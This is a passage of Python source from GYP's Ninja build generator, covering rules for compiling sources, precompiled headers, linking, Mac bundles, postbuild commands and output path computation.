'XCASSETS_LAUNCH_IMAGE': 'launch-image', } settings = self.xcode_settings.xcode_settings[self.config_name] for settings_key, arg_name in settings_to_arg.iteritems(): value = settings.get(settings_key) if value: extra_arguments[arg_name] = value partial_info_plist = None if extra_arguments: partial_info_plist = self.GypPathToUniqueOutput( 'assetcatalog_generated_info.plist') extra_arguments['output-partial-info-plist'] = partial_info_plist outputs = [] outputs.append( os.path.join( self.xcode_settings.GetBundleResourceFolder(), 'Assets.car')) if partial_info_plist: outputs.append(partial_info_plist) keys = QuoteShellArgument(json.dumps(extra_arguments), self.flavor) extra_env = self.xcode_settings.GetPerTargetSettings() env = self.GetSortedXcodeEnv(additional_settings=extra_env) env = self.ComputeExportEnvString(env) bundle_depends.extend(self.ninja.build( outputs, 'compile_xcassets', xcassets, variables=[('env', env), ('keys', keys)])) return partial_info_plist def WriteMacInfoPlist(self, partial_info_plist, bundle_depends): """Write build rules for bundle Info.plist files.""" info_plist, out, defines, extra_env = gyp.xcode_emulation.GetMacInfoPlist( generator_default_variables['PRODUCT_DIR'], self.xcode_settings, self.GypPathToNinja) if not info_plist: return out = self.ExpandSpecial(out) if defines: # Create an intermediate file to store preprocessed results. intermediate_plist = self.GypPathToUniqueOutput( os.path.basename(info_plist)) defines = ' '.join([Define(d, self.flavor) for d in defines]) info_plist = self.ninja.build( intermediate_plist, 'preprocess_infoplist', info_plist, variables=[('defines',defines)]) env = self.GetSortedXcodeEnv(additional_settings=extra_env) env = self.ComputeExportEnvString(env) if partial_info_plist: intermediate_plist = self.GypPathToUniqueOutput('merged_info.plist') info_plist = self.ninja.build( intermediate_plist, 'merge_infoplist', [partial_info_plist, info_plist]) keys = self.xcode_settings.GetExtraPlistItems(self.config_name) keys = QuoteShellArgument(json.dumps(keys), self.flavor) isBinary = self.xcode_settings.IsBinaryOutputFormat(self.config_name) self.ninja.build(out, 'copy_infoplist', info_plist, variables=[('env', env), ('keys', keys), ('binary', isBinary)]) bundle_depends.append(out) def WriteSources(self, ninja_file, config_name, config, sources, predepends, precompiled_header, spec): """Write build rules to compile all of |sources|.""" if self.toolset == 'host': self.ninja.variable('ar', '$ar_host') self.ninja.variable('cc', '$cc_host') self.ninja.variable('cxx', '$cxx_host') self.ninja.variable('ld', '$ld_host') self.ninja.variable('ldxx', '$ldxx_host') self.ninja.variable('nm', '$nm_host') self.ninja.variable('readelf', '$readelf_host') if self.flavor != 'mac' or len(self.archs) == 1: return self.WriteSourcesForArch( self.ninja, config_name, config, sources, predepends, precompiled_header, spec) else: return dict((arch, self.WriteSourcesForArch( self.arch_subninjas[arch], config_name, config, sources, predepends, precompiled_header, spec, arch=arch)) for arch in self.archs) def WriteSourcesForArch(self, ninja_file, config_name, config, sources, predepends, precompiled_header, spec, arch=None): """Write build rules to compile all of |sources|.""" extra_defines = [] if self.flavor == 'mac': cflags = self.xcode_settings.GetCflags(config_name, arch=arch) cflags_c = self.xcode_settings.GetCflagsC(config_name) cflags_cc = self.xcode_settings.GetCflagsCC(config_name) cflags_objc = ['$cflags_c'] + \ self.xcode_settings.GetCflagsObjC(config_name) cflags_objcc = ['$cflags_cc'] + \ self.xcode_settings.GetCflagsObjCC(config_name) elif self.flavor == 'win': asmflags = self.msvs_settings.GetAsmflags(config_name) cflags = self.msvs_settings.GetCflags(config_name) cflags_c = self.msvs_settings.GetCflagsC(config_name) cflags_cc = self.msvs_settings.GetCflagsCC(config_name) extra_defines = self.msvs_settings.GetComputedDefines(config_name) # See comment at cc_command for why there's two .pdb files. pdbpath_c = pdbpath_cc = self.msvs_settings.GetCompilerPdbName( config_name, self.ExpandSpecial) if not pdbpath_c: obj = 'obj' if self.toolset != 'target': obj += '.' + self.toolset pdbpath = os.path.normpath(os.path.join(obj, self.base_dir, self.name)) pdbpath_c = pdbpath + '.c.pdb' pdbpath_cc = pdbpath + '.cc.pdb' self.WriteVariableList(ninja_file, 'pdbname_c', [pdbpath_c]) self.WriteVariableList(ninja_file, 'pdbname_cc', [pdbpath_cc]) self.WriteVariableList(ninja_file, 'pchprefix', [self.name]) else: cflags = config.get('cflags', []) cflags_c = config.get('cflags_c', []) cflags_cc = config.get('cflags_cc', []) # Respect environment variables related to build, but target-specific # flags can still override them. if self.toolset == 'target': cflags_c = (os.environ.get('CPPFLAGS', '').split() + os.environ.get('CFLAGS', '').split() + cflags_c) cflags_cc = (os.environ.get('CPPFLAGS', '').split() + os.environ.get('CXXFLAGS', '').split() + cflags_cc) elif self.toolset == 'host': cflags_c = (os.environ.get('CPPFLAGS_host', '').split() + os.environ.get('CFLAGS_host', '').split() + cflags_c) cflags_cc = (os.environ.get('CPPFLAGS_host', '').split() + os.environ.get('CXXFLAGS_host', '').split() + cflags_cc) defines = config.get('defines', []) + extra_defines self.WriteVariableList(ninja_file, 'defines', [Define(d, self.flavor) for d in defines]) if self.flavor == 'win': self.WriteVariableList(ninja_file, 'asmflags', map(self.ExpandSpecial, asmflags)) self.WriteVariableList(ninja_file, 'rcflags', [QuoteShellArgument(self.ExpandSpecial(f), self.flavor) for f in self.msvs_settings.GetRcflags(config_name, self.GypPathToNinja)]) include_dirs = config.get('include_dirs', []) env = self.GetToolchainEnv() if self.flavor == 'win': include_dirs = self.msvs_settings.AdjustIncludeDirs(include_dirs, config_name) self.WriteVariableList(ninja_file, 'includes', [QuoteShellArgument('-I' + self.GypPathToNinja(i, env), self.flavor) for i in include_dirs]) if self.flavor == 'win': midl_include_dirs = config.get('midl_include_dirs', []) midl_include_dirs = self.msvs_settings.AdjustMidlIncludeDirs( midl_include_dirs, config_name) self.WriteVariableList(ninja_file, 'midl_includes', [QuoteShellArgument('-I' + self.GypPathToNinja(i, env), self.flavor) for i in midl_include_dirs]) pch_commands = precompiled_header.GetPchBuildCommands(arch) if self.flavor == 'mac': # Most targets use no precompiled headers, so only write these if needed. for ext, var in [('c', 'cflags_pch_c'), ('cc', 'cflags_pch_cc'), ('m', 'cflags_pch_objc'), ('mm', 'cflags_pch_objcc')]: include = precompiled_header.GetInclude(ext, arch) if include: ninja_file.variable(var, include) arflags = config.get('arflags', []) self.WriteVariableList(ninja_file, 'cflags', map(self.ExpandSpecial, cflags)) self.WriteVariableList(ninja_file, 'cflags_c', map(self.ExpandSpecial, cflags_c)) self.WriteVariableList(ninja_file, 'cflags_cc', map(self.ExpandSpecial, cflags_cc)) if self.flavor == 'mac': self.WriteVariableList(ninja_file, 'cflags_objc', map(self.ExpandSpecial, cflags_objc)) self.WriteVariableList(ninja_file, 'cflags_objcc', map(self.ExpandSpecial, cflags_objcc)) self.WriteVariableList(ninja_file, 'arflags', map(self.ExpandSpecial, arflags)) ninja_file.newline() outputs = [] has_rc_source = False for source in sources: filename, ext = os.path.splitext(source) ext = ext[1:] obj_ext = self.obj_ext if ext in ('cc', 'cpp', 'cxx'): command = 'cxx' self.uses_cpp = True elif ext == 'c' or (ext == 'S' and self.flavor != 'win'): command = 'cc' elif ext == 's' and self.flavor != 'win': # Doesn't generate .o.d files. command = 'cc_s' elif (self.flavor == 'win' and ext == 'asm' and not self.msvs_settings.HasExplicitAsmRules(spec)): command = 'asm' # Add the _asm suffix as msvs is capable of handling .cc and # .asm files of the same name without collision. obj_ext = '_asm.obj' elif self.flavor == 'mac' and ext == 'm': command = 'objc' elif self.flavor == 'mac' and ext == 'mm': command = 'objcxx' self.uses_cpp = True elif self.flavor == 'win' and ext == 'rc': command = 'rc' obj_ext = '.res' has_rc_source = True else: # Ignore unhandled extensions. continue input = self.GypPathToNinja(source) output = self.GypPathToUniqueOutput(filename + obj_ext) if arch is not None: output = AddArch(output, arch) implicit = precompiled_header.GetObjDependencies([input], [output], arch) variables = [] if self.flavor == 'win': variables, output, implicit = precompiled_header.GetFlagsModifications( input, output, implicit, command, cflags_c, cflags_cc, self.ExpandSpecial) ninja_file.build(output, command, input, implicit=[gch for _, _, gch in implicit], order_only=predepends, variables=variables) outputs.append(output) if has_rc_source: resource_include_dirs = config.get('resource_include_dirs', include_dirs) self.WriteVariableList(ninja_file, 'resource_includes', [QuoteShellArgument('-I' + self.GypPathToNinja(i, env), self.flavor) for i in resource_include_dirs]) self.WritePchTargets(ninja_file, pch_commands) ninja_file.newline() return outputs def WritePchTargets(self, ninja_file, pch_commands): """Writes ninja rules to compile prefix headers.""" if not pch_commands: return for gch, lang_flag, lang, input in pch_commands: var_name = { 'c': 'cflags_pch_c', 'cc': 'cflags_pch_cc', 'm': 'cflags_pch_objc', 'mm': 'cflags_pch_objcc', }[lang] map = { 'c': 'cc', 'cc': 'cxx', 'm': 'objc', 'mm': 'objcxx', } cmd = map.get(lang) ninja_file.build(gch, cmd, input, variables=[(var_name, lang_flag)]) def WriteLink(self, spec, config_name, config, link_deps): """Write out a link step. Fills out target.binary. """ if self.flavor != 'mac' or len(self.archs) == 1: return self.WriteLinkForArch( self.ninja, spec, config_name, config, link_deps) else: output = self.ComputeOutput(spec) inputs = [self.WriteLinkForArch(self.arch_subninjas[arch], spec, config_name, config, link_deps[arch], arch=arch) for arch in self.archs] extra_bindings = [] build_output = output if not self.is_mac_bundle: self.AppendPostbuildVariable(extra_bindings, spec, output, output) # TODO(yyanagisawa): more work needed to fix: # https://code.google.com/p/gyp/issues/detail?id=411 if (spec['type'] in ('shared_library', 'loadable_module') and not self.is_mac_bundle): extra_bindings.append(('lib', output)) self.ninja.build([output, output + '.TOC'], 'solipo', inputs, variables=extra_bindings) else: self.ninja.build(build_output, 'lipo', inputs, variables=extra_bindings) return output def WriteLinkForArch(self, ninja_file, spec, config_name, config, link_deps, arch=None): """Write out a link step. Fills out target.binary. """ command = { 'executable': 'link', 'loadable_module': 'solink_module', 'shared_library': 'solink', }[spec['type']] command_suffix = '' implicit_deps = set() solibs = set() order_deps = set() if 'dependencies' in spec: # Two kinds of dependencies: # - Linkable dependencies (like a .a or a .so): add them to the link line. # - Non-linkable dependencies (like a rule that generates a file # and writes a stamp file): add them to implicit_deps extra_link_deps = set() for dep in spec['dependencies']: target = self.target_outputs.get(dep) if not target: continue linkable = target.Linkable() if linkable: new_deps = [] if (self.flavor == 'win' and target.component_objs and self.msvs_settings.IsUseLibraryDependencyInputs(config_name)): new_deps = target.component_objs if target.compile_deps: order_deps.add(target.compile_deps) elif self.flavor == 'win' and target.import_lib: new_deps = [target.import_lib] elif target.UsesToc(self.flavor): solibs.add(target.binary) implicit_deps.add(target.binary + '.TOC') else: new_deps = [target.binary] for new_dep in new_deps: if new_dep not in extra_link_deps: extra_link_deps.add(new_dep) link_deps.append(new_dep) final_output = target.FinalOutput() if not linkable or final_output != target.binary: implicit_deps.add(final_output) extra_bindings = [] if self.uses_cpp and self.flavor != 'win': extra_bindings.append(('ld', '$ldxx')) output = self.ComputeOutput(spec, arch) if arch is None and not self.is_mac_bundle: self.AppendPostbuildVariable(extra_bindings, spec, output, output) is_executable = spec['type'] == 'executable' # The ldflags config key is not used on mac or win. On those platforms # linker flags are set via xcode_settings and msvs_settings, respectively. env_ldflags = os.environ.get('LDFLAGS', '').split() if self.flavor == 'mac': ldflags = self.xcode_settings.GetLdflags(config_name, self.ExpandSpecial(generator_default_variables['PRODUCT_DIR']), self.GypPathToNinja, arch) ldflags = env_ldflags + ldflags elif self.flavor == 'win': manifest_base_name = self.GypPathToUniqueOutput( self.ComputeOutputFileName(spec)) ldflags, intermediate_manifest, manifest_files = \ self.msvs_settings.GetLdflags(config_name, self.GypPathToNinja, self.ExpandSpecial, manifest_base_name, output, is_executable, self.toplevel_build) ldflags = env_ldflags + ldflags self.WriteVariableList(ninja_file, 'manifests', manifest_files) implicit_deps = implicit_deps.union(manifest_files) if intermediate_manifest: self.WriteVariableList( ninja_file, 'intermediatemanifest', [intermediate_manifest]) command_suffix = _GetWinLinkRuleNameSuffix( self.msvs_settings.IsEmbedManifest(config_name)) def_file = self.msvs_settings.GetDefFile(self.GypPathToNinja) if def_file: implicit_deps.add(def_file) else: # Respect environment variables related to build, but target-specific # flags can still override them. ldflags = env_ldflags + config.get('ldflags', []) if is_executable and len(solibs): rpath = 'lib/' if self.toolset != 'target': rpath += self.toolset ldflags.append(r'-Wl,-rpath=\$$ORIGIN/%s' % rpath) ldflags.append('-Wl,-rpath-link=%s' % rpath) self.WriteVariableList(ninja_file, 'ldflags', map(self.ExpandSpecial, ldflags)) library_dirs = config.get('library_dirs', []) if self.flavor == 'win': library_dirs = [self.msvs_settings.ConvertVSMacros(l, config_name) for l in library_dirs] library_dirs = ['/LIBPATH:' + QuoteShellArgument(self.GypPathToNinja(l), self.flavor) for l in library_dirs] else: library_dirs = [QuoteShellArgument('-L' + self.GypPathToNinja(l), self.flavor) for l in library_dirs] libraries = gyp.common.uniquer(map(self.ExpandSpecial, spec.get('libraries', []))) if self.flavor == 'mac': libraries = self.xcode_settings.AdjustLibraries(libraries, config_name) elif self.flavor == 'win': libraries = self.msvs_settings.AdjustLibraries(libraries) self.WriteVariableList(ninja_file, 'libs', library_dirs + libraries) linked_binary = output if command in ('solink', 'solink_module'): extra_bindings.append(('soname', os.path.split(output)[1])) extra_bindings.append(('lib', gyp.common.EncodePOSIXShellArgument(output))) if self.flavor != 'win': link_file_list = output if self.is_mac_bundle: # 'Dependency Framework.framework/Versions/A/Dependency Framework' -> # 'Dependency Framework.framework.rsp' link_file_list = self.xcode_settings.GetWrapperName() if arch: link_file_list += '.' + arch link_file_list += '.rsp' # If an rspfile contains spaces, ninja surrounds the filename with # quotes around it and then passes it to open(), creating a file with # quotes in its name (and when looking for the rsp file, the name # makes it through bash which strips the quotes) :-/ link_file_list = link_file_list.replace(' ', '_') extra_bindings.append( ('link_file_list', gyp.common.EncodePOSIXShellArgument(link_file_list))) if self.flavor == 'win': extra_bindings.append(('binary', output)) if ('/NOENTRY' not in ldflags and not self.msvs_settings.GetNoImportLibrary(config_name)): self.target.import_lib = output + '.lib' extra_bindings.append(('implibflag', '/IMPLIB:%s' % self.target.import_lib)) pdbname = self.msvs_settings.GetPDBName( config_name, self.ExpandSpecial, output + '.pdb') output = [output, self.target.import_lib] if pdbname: output.append(pdbname) elif not self.is_mac_bundle: output = [output, output + '.TOC'] else: command = command + '_notoc' elif self.flavor == 'win': extra_bindings.append(('binary', output)) pdbname = self.msvs_settings.GetPDBName( config_name, self.ExpandSpecial, output + '.pdb') if pdbname: output = [output, pdbname] if len(solibs): extra_bindings.append(('solibs', gyp.common.EncodePOSIXShellList(solibs))) ninja_file.build(output, command + command_suffix, link_deps, implicit=list(implicit_deps), order_only=list(order_deps), variables=extra_bindings) return linked_binary def WriteTarget(self, spec, config_name, config, link_deps, compile_deps): extra_link_deps = any(self.target_outputs.get(dep).Linkable() for dep in spec.get('dependencies', []) if dep in self.target_outputs) if spec['type'] == 'none' or (not link_deps and not extra_link_deps): # TODO(evan): don't call this function for 'none' target types, as # it doesn't do anything, and we fake out a 'binary' with a stamp file. self.target.binary = compile_deps self.target.type = 'none' elif spec['type'] == 'static_library': self.target.binary = self.ComputeOutput(spec) if (self.flavor not in ('mac', 'openbsd', 'netbsd', 'win') and not self.is_standalone_static_library): self.ninja.build(self.target.binary, 'alink_thin', link_deps, order_only=compile_deps) else: variables = [] if self.xcode_settings: libtool_flags = self.xcode_settings.GetLibtoolflags(config_name) if libtool_flags: variables.append(('libtool_flags', libtool_flags)) if self.msvs_settings: libflags = self.msvs_settings.GetLibFlags(config_name, self.GypPathToNinja) variables.append(('libflags', libflags)) if self.flavor != 'mac' or len(self.archs) == 1: self.AppendPostbuildVariable(variables, spec, self.target.binary, self.target.binary) self.ninja.build(self.target.binary, 'alink', link_deps, order_only=compile_deps, variables=variables) else: inputs = [] for arch in self.archs: output = self.ComputeOutput(spec, arch) self.arch_subninjas[arch].build(output, 'alink', link_deps[arch], order_only=compile_deps, variables=variables) inputs.append(output) # TODO: It's not clear if libtool_flags should be passed to the alink # call that combines single-arch .a files into a fat .a file. self.AppendPostbuildVariable(variables, spec, self.target.binary, self.target.binary) self.ninja.build(self.target.binary, 'alink', inputs, # FIXME: test proving order_only=compile_deps isn't # needed. variables=variables) else: self.target.binary = self.WriteLink(spec, config_name, config, link_deps) return self.target.binary def WriteMacBundle(self, spec, mac_bundle_depends, is_empty): assert self.is_mac_bundle package_framework = spec['type'] in ('shared_library', 'loadable_module') output = self.ComputeMacBundleOutput() if is_empty: output += '.stamp' variables = [] self.AppendPostbuildVariable(variables, spec, output, self.target.binary, is_command_start=not package_framework) if package_framework and not is_empty: variables.append(('version', self.xcode_settings.GetFrameworkVersion())) self.ninja.build(output, 'package_framework', mac_bundle_depends, variables=variables) else: self.ninja.build(output, 'stamp', mac_bundle_depends, variables=variables) self.target.bundle = output return output def GetToolchainEnv(self, additional_settings=None): """Returns the variables toolchain would set for build steps.""" env = self.GetSortedXcodeEnv(additional_settings=additional_settings) if self.flavor == 'win': env = self.GetMsvsToolchainEnv( additional_settings=additional_settings) return env def GetMsvsToolchainEnv(self, additional_settings=None): """Returns the variables Visual Studio would set for build steps.""" return self.msvs_settings.GetVSMacroEnv('$!PRODUCT_DIR', config=self.config_name) def GetSortedXcodeEnv(self, additional_settings=None): """Returns the variables Xcode would set for build steps.""" assert self.abs_build_dir abs_build_dir = self.abs_build_dir return gyp.xcode_emulation.GetSortedXcodeEnv( self.xcode_settings, abs_build_dir, os.path.join(abs_build_dir, self.build_to_base), self.config_name, additional_settings) def GetSortedXcodePostbuildEnv(self): """Returns the variables Xcode would set for postbuild steps.""" postbuild_settings = {} # CHROMIUM_STRIP_SAVE_FILE is a chromium-specific hack. # TODO(thakis): It would be nice to have some general mechanism instead. strip_save_file = self.xcode_settings.GetPerTargetSetting( 'CHROMIUM_STRIP_SAVE_FILE') if strip_save_file: postbuild_settings['CHROMIUM_STRIP_SAVE_FILE'] = strip_save_file return self.GetSortedXcodeEnv(additional_settings=postbuild_settings) def AppendPostbuildVariable(self, variables, spec, output, binary, is_command_start=False): """Adds a 'postbuild' variable if there is a postbuild for |output|.""" postbuild = self.GetPostbuildCommand(spec, output, binary, is_command_start) if postbuild: variables.append(('postbuilds', postbuild)) def GetPostbuildCommand(self, spec, output, output_binary, is_command_start): """Returns a shell command that runs all the postbuilds, and removes |output| if any of them fails. If |is_command_start| is False, then the returned string will start with ' && '.""" if not self.xcode_settings or spec['type'] == 'none' or not output: return '' output = QuoteShellArgument(output, self.flavor) postbuilds = gyp.xcode_emulation.GetSpecPostbuildCommands(spec, quiet=True) if output_binary is not None: postbuilds = self.xcode_settings.AddImplicitPostbuilds( self.config_name, os.path.normpath(os.path.join(self.base_to_build, output)), QuoteShellArgument( os.path.normpath(os.path.join(self.base_to_build, output_binary)), self.flavor), postbuilds, quiet=True) if not postbuilds: return '' # Postbuilds expect to be run in the gyp file's directory, so insert an # implicit postbuild to cd to there. postbuilds.insert(0, gyp.common.EncodePOSIXShellList( ['cd', self.build_to_base])) env = self.ComputeExportEnvString(self.GetSortedXcodePostbuildEnv()) # G will be non-null if any postbuild fails. Run all postbuilds in a # subshell. commands = env + ' (' + \ ' && '.join([ninja_syntax.escape(command) for command in postbuilds]) command_string = (commands + '); G=$$?; ' # Remove the final output if any postbuild failed. '((exit $$G) || rm -rf %s) ' % output + '&& exit $$G)') if is_command_start: return '(' + command_string + ' && ' else: return '$ && (' + command_string def ComputeExportEnvString(self, env): """Given an environment, returns a string looking like 'export FOO=foo; export BAR="${FOO} bar;' that exports |env| to the shell.""" export_str = [] for k, v in env: export_str.append('export %s=%s;' % (k, ninja_syntax.escape(gyp.common.EncodePOSIXShellArgument(v)))) return ' '.join(export_str) def ComputeMacBundleOutput(self): """Return the 'output' (full output path) to a bundle output directory.""" assert self.is_mac_bundle path = generator_default_variables['PRODUCT_DIR'] return self.ExpandSpecial( os.path.join(path, self.xcode_settings.GetWrapperName())) def ComputeOutputFileName(self, spec, type=None): """Compute the filename of the final output for the current target.""" if not type: type = spec['type'] default_variables = copy.copy(generator_default_variables) CalculateVariables(default_variables, {'flavor': self.flavor}) # Compute filename prefix: the product prefix, or a default for # the product type. DEFAULT_PREFIX = { 'loadable_module': default_variables['SHARED_LIB_PREFIX'], 'shared_library': default_variables['SHARED_LIB_PREFIX'], 'static_library': default_variables['STATIC_LIB_PREFIX'], 'executable': default_variables['EXECUTABLE_PREFIX'], } prefix = spec.get('product_prefix', DEFAULT_PREFIX.get(type, '')) # Compute filename extension: the product extension, or a default # for the product type. DEFAULT_EXTENSION = { 'loadable_module': default_variables['SHARED_LIB_SUFFIX'], 'shared_library': default_variables['SHARED_LIB_SUFFIX'], 'static_library': default_variables['STATIC_LIB_SUFFIX'], 'executable': default_variables['EXECUTABLE_SUFFIX'], } extension = spec.get('product_extension') if extension: extension = '.' + extension else: extension = DEFAULT_EXTENSION.get(type, '') if 'product_name' in spec: # If we were given an explicit name, use that. target = spec['product_name'] else: # Otherwise, derive a name from the target name. target = spec['target_name'] if prefix == 'lib': # Snip out an extra 'lib' from libs if appropriate. target = StripPrefix(target, 'lib') if type in ('static_library', 'loadable_module', 'shared_library', 'executable'): return '%s%s%s' % (prefix, target, extension) elif type == 'none': return '%s.stamp' % target else: raise Exception('Unhandled output type %s' % type) def ComputeOutput(self, spec, arch=None): """Compute the path for the final output of the spec.""" type = spec['type'] if self.flavor == 'win': override = self.msvs_settings.GetOutputName(self.config_name, self.ExpandSpecial) if override: return override if arch is None and self.flavor == 'mac' and type in ( 'static_library', 'executable', 'shared_library', 'loadable_module'): filename = self.xcode_settings.GetExecutablePath() else: filename = self.ComputeOutputFileName(spec, type) if arch is None and 'product_dir' in spec: path = os.path.join(spec['product_dir'], filename) return self.ExpandSpecial(path) # Some products go into the output root, libraries go into shared library # dir, and everything else goes into the normal place. type_in_output_root = ['executable', 'loadable_module'] if self.flavor == 'mac' and self.toolset == 'target': type_in_output_root += ['shared_library', 'static_library'] elif self.flavor == 'win' and self.toolset == 'target': type_in_output_root += ['shared_library'] if arch is not None: # Make sure partial executables don't end up in a bundle or the regular # output directory. archdir = 'arch' if self.toolset != 'target': archdir = os.path.join('arch', '%s' % self.toolset) return os.path.join(archdir, AddArch(filename, arch)) elif type in type_in_output_root or self.is_standalone_static_library: return filename elif type == 'shared_library': libdir = 'lib' if self.toolset != 'target': libdir = os.path.join('lib', '%s' % self.toolset) return os.path.join(libdir, filename) else: return self.GypPathToUniqueOutput(filename, qualified=False) def WriteVariableList(self, ninja_file, var, values): assert not isinstance(values, str) if values is None: values = [] ninja_file.variable(var, ' '.join(values)) def WriteNewNinjaRule(self, name, args, description, is_cygwin, env, pool, depfile=None): """Write out a new ninja "rule" statement for a given command. Returns the name of the new rule, and a copy of |args| with variables expanded.""" if self.flavor == 'win': args = [self.msvs_settings.ConvertVSMacros( arg, self.base_to_build, config=self.config_name) for arg in args] description = self.msvs_settings.ConvertVSMacros( description, config=self.config_name) elif self.flavor == 'mac': # |env| is an empty list on non-mac. args = [gyp.xcode_emulation.ExpandEnvVars(arg, env) for arg in args] description = gyp.xcode_emulation.ExpandEnvVars(description, env) # TODO: we shouldn't need to qualify names; we do it because # currently the ninja rule namespace is global, but it really # should be scoped to the subninja. rule_name = self.name if self.toolset == 'target': rule_name += '.' + self.toolset rule_name += '.' + name rule_name = re.sub('[^a-zA-Z0-9_]', '_', rule_name) # Remove variable references, but not if they refer to the magic rule # variables. This is not quite right, as it also protects these for # actions, not just for rules where they are valid. Good enough. protect = [ '${root}', '${dirname}', '${source}', '${ext}', '${name}' ] protect = '(?!' + '|'.join(map(re.escape, protect)) + ')' description = re.sub(protect + r'\$', '_', description) # gyp dictates that commands are run from the base directory. # cd into the directory before running, and adjust paths in # the arguments to point to the proper locations. rspfile = None rspfile_content = None args = [self.ExpandSpecial(arg, self.base_to_build) for arg in args] if self.flavor == 'win': rspfile = rule_name + '.$unique_name.rsp' # The cygwin case handles this inside the bash sub-shell. run_in = '' if is_cygwin else ' ' + self.build_to_base if is_cygwin: rspfile_content = self.msvs_settings.BuildCygwinBashCommandLine( args, self.build_to_base) else: rspfile_content = gyp.msvs_emulation.EncodeRspFileList(args) command = ('%s gyp-win-tool action-wrapper $arch ' % sys.executable + rspfile + run_in) else: env = self.ComputeExportEnvString(env) command = gyp.common.EncodePOSIXShellList(args) command = 'cd %s; ' % self.build_to_base + env + command # GYP rules/actions express being no-ops by not touching their outputs. # Avoid executing downstream dependencies in this case by specifying # restat=1 to ninja. self.ninja.rule(rule_name, command, description, depfile=depfile, restat=True, pool=pool, rspfile=rspfile, rspfile_content=rspfile_content) self.ninja.newline() return rule_name, args def CalculateVariables(default_variables, params): """Calculate additional variables for use in the build (called by gyp).""" global generator_additional_non_configuration_keys global generator_additional_path_sections flavor = gyp.common.GetFlavor(params) if flavor == 'mac': default_variables.setdefault('OS', 'mac') default_variables.setdefault('SHARED_LIB_SUFFIX', '.dylib') default_variables.setdefault('SHARED_LIB_DIR', generator_default_variables['PRODUCT_DIR']) default_variables.setdefault('LIB_DIR', generator_default_variables['PRODUCT_DIR']) # Copy additional generator configuration data from Xcode, which is shared # by the Mac Ninja generator. import gyp.generator.xcode as xcode_generator generator_additional_non_configuration_keys = getattr(xcode_generator, 'generator_additional_non_configuration_keys', []) generator_additional_path_sections = getattr(xcode_generator, 'generator_additional_path_sections', []) global generator_extra_sources_for_rules generator_extra_sources_for_rules = getattr(xcode_generator, 'generator_extra_sources_for_rules', []) elif flavor == 'win': exts = gyp.MSVSUtil.TARGET_TYPE_EXT default_variables.setdefault('OS', 'win') default_variables['EXECUTABLE_SUFFIX'] = '.' + exts['executable'] default_variables['STATIC_LIB_PREFIX'] = '' default_variables['STATIC_LIB_SUFFIX'] = '.' + exts['static_library'] default_variables['SHARED_LIB_PREFIX'] = '' default_variables['SHARED_LIB_SUFFIX'] = '.' + exts['shared_library'] # Copy additional generator configuration data from VS, which is shared # by the Windows Ninja generator. import gyp.generator.msvs as msvs_generator generator_additional_non_configuration_keys = getattr(msvs_generator, 'generator_additional_non_configuration_keys', []) generator_additional_path_sections = getattr(msvs_generator, 'generator_additional_path_sections', []) gyp.msvs_emulation.CalculateCommonVariables(default_variables, params) else: operating_system = flavor if flavor == 'android': operating_system = 'linux' # Keep this legacy behavior for now. default_variables.setdefault('OS', operating_system) default_variables.setdefault('SHARED_LIB_SUFFIX', '.so') default_variables.setdefault('SHARED_LIB_DIR', os.path.join('$!PRODUCT_DIR', 'lib')) default_variables.setdefault('LIB_DIR', os.path.join('$!PRODUCT_DIR', 'obj')) def ComputeOutputDir(params): """Returns the path from the toplevel_dir to the build output directory.""" # generator_dir: relative path from pwd to where make puts build files. # Makes migrating from make to ninja easier, ninja doesn't put anything here. generator_dir = os.path.relpath(params['options'].generator_output or '.') # output_dir: relative path from generator_dir to the build directory. output_dir = params.get('generator_flags', {}).get('output_dir', 'out') # Relative path from source root to our output files. e.g. "out" return os.path.normpath(os.path.join(generator_dir, output_dir)) def CalculateGeneratorInputInfo(params): """Called by __init__ to initialize generator values based on params.""" # E.g. "out/gypfiles" toplevel = params['options'].toplevel_dir qualified_out_dir = os.path.normpath(os.path.join( toplevel, ComputeOutputDir(params), 'gypfiles')) global generator_filelist_paths generator_filelist_paths = { 'toplevel': toplevel, 'qualified_out_dir': qualified_out_dir, } def OpenOutput(path, mode='w'): """Open |path| for writing, creating directories if necessary.""" gyp.common.EnsureDirExists(path) return open(path, mode) def CommandWithWrapper(cmd, wrappers, prog): wrapper = wrappers.get(cmd, '') if wrapper: return wrapper + ' ' + prog return prog def GetDefaultConcurrentLinks(): """Returns a best-guess for a number of concurrent links.""" pool_size = int(os.environ.get('GYP_LINK_CONCURRENCY', 0)) if pool_size: return pool_size if sys.platform in ('win32', 'cygwin'): import ctypes class MEMORYSTATUSEX(ctypes.Structure): _fields_ = [ ("dwLength", ctypes.c_ulong), ("dwMemoryLoad", ctypes.c_ulong), ("ullTotalPhys", ctypes.c_ulonglong), ("ullAvailPhys", ctypes.c_ulonglong), ("ullTotalPageFile", ctypes.c_ulonglong), ("ullAvailPageFile", ctypes.c_ulonglong), ("ullTotalVirtual", ctypes.c_ulonglong), ("ullAvailVirtual", ctypes.c_ulonglong), ("sullAvailExtendedVirtual", ctypes.c_ulonglong), ] stat = MEMORYSTATUSEX() stat.dwLength = ctypes.sizeof(stat) ctypes.windll.kernel32.GlobalMemoryStatusEx(ctypes.byref(stat)) # VS 2015 uses 20% more working set than VS 2013 and can consume all RAM # on a 64 GB machine. mem_limit = max(1, stat.ullTotalPhys / (5 * (2 ** 30))) # total / 5GB hard_cap = max(1, int(os.environ.get('GYP_LINK_CONCURRENCY_MAX', 2**32))) return min(mem_limit, hard_cap) elif sys.platform.startswith('linux'): if os.path.exists("/proc/meminfo"): with open("/proc/meminfo") as meminfo: memtotal_re = re.compile(r'^MemTotal:\s*(\d*)\s*kB') for line in meminfo: match = memtotal_re.match(line) if not match: continue # Allow 8Gb per link on Linux because Gold is quite memory hungry return max(1, int(match.group(1)) / (8 * (2 ** 20))) return 1 elif sys.platform == 'darwin': try: avail_bytes = int(subprocess.check_output(['sysctl', '-n', 'hw.memsize'])) # A static library debug build of Chromium's unit_tests takes ~2.7GB, so # 4GB per ld process allows for some more bloat. return max(1, avail_bytes / (4 * (2 ** 30))) # total / 4GB except: return 1 else: # TODO(scottmg): Implement this for other platforms. return 1 def _GetWinLinkRuleNameSuffix(embed_manifest): """Returns the suffix used to select an appropriate linking rule depending on whether the manifest embedding is enabled.""" return '_embed' if embed_manifest else '' def _AddWinLinkRules(master_ninja, embed_manifest): """Adds link rules for Windows platform to |master_ninja|.""" def FullLinkCommand(ldcmd, out, binary_type): resource_name = { 'exe': '1', 'dll': '2', }[binary_type] return '%(python)s gyp-win-tool link-with-manifests $arch %(embed)s ' \ '%(out)s "%(ldcmd)s" %(resname)s $mt $rc "$intermediatemanifest" ' 